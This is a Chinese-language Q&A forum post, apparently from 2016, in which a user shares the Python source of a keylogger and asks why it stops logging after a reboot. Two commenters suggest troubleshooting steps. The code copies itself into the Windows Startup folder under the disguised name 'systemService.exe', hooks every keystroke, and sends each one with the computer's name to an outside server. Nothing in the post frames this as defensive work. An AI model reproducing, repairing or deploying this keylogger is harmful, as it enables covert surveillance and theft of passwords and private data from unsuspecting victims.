我正在尝试制作一个在启动时自动运行的python键盘记录器。这是python代码
import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName
if os.path.exists(filePath):
if os.path.isfile(filePath+'systemService.exe')==False:
try:
shutil.copy2(sys.argv[0],filePath+'systemService.exe')
except:
pass
def OnKeyBoardEvent(event):
try:
params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
conn.request("GET","/index.php?"+params)
except:
pass
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
这个键盘记录器使用php将所有ascii数据记录到代码中命名的服务器。当我执行这个pyw文件时工作正常但是当我重新启动pc时它不会登录到服务器上的文件。我加倍检查该程序是否存在于启动目录中,并在重新启动后在后台运行。但仍然没有将数据记录到服务器文件中。
重启后是否可以登录到本地文件?
—
adampski 2016年
尝试使用正确的命令创建.bat文件以运行该文件并在启动时运行该文件。可能有一些参数未正确运行,导致出现错误。为了测试这一点,我建议使用一个
—
ytpillai 2016年
try: #code except: open("somefile","w").write("error")
来确保程序在某个地方运行异常而忽略它。